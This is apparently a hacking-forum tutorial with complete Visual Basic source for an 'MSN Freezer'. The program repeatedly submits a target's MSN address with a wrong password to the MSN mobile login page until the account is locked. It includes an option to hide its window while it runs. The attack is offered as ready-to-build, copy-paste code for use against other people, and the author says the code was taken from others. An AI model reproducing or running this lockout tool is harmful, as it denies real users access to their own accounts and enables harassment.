Hello,
What are we going to do?
- Making a MSN Freezer.
What does a msn freezer does?
- Making an msn account freeze so the MSN Account can't be accessed.
What program do i need to make an MSN Freezer?
- For this TUT you will need Visual basic 2008
Ok let's start
- Open Visual Basic 2008
- Open new project and call it whatever you like
- Make 1 textbox
- Make a checkbox with text "Hide"
- Make 2 buttons with text "Freeze" and "Unfreeze"
- Make a webbrowser with visible set FALSE and set url: "https://mobile.msn.com/hm/folder.phpx".
- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".
- Make a timer with Enabled set FALSE and Interval set 100.
- Now double click on the Form and remove all text
Copy and paste this :
Code:
Imports System.Threading.Thread
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate("https://mobile.msn.com/hm/folder.phpx")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
Label3.Text = "Freezing..."
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error GoTo errordetected
WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
GoTo done
errordetected:
Label3.Text = "Frozen!"
WebBrowser1.Navigate("https://mobile.msn.com/hm/folder.phpx")
done:
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Label3.Text = "Ready"
MsgBox("MSN UnFrozen!")
Timer1.Enabled = False
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
Me.Hide()
End If
End Sub
End Class
Now you can build the program and use it as a MSN Freezer!!
NextGen1 - Credits to Punicher and Numerous others - Code Leeched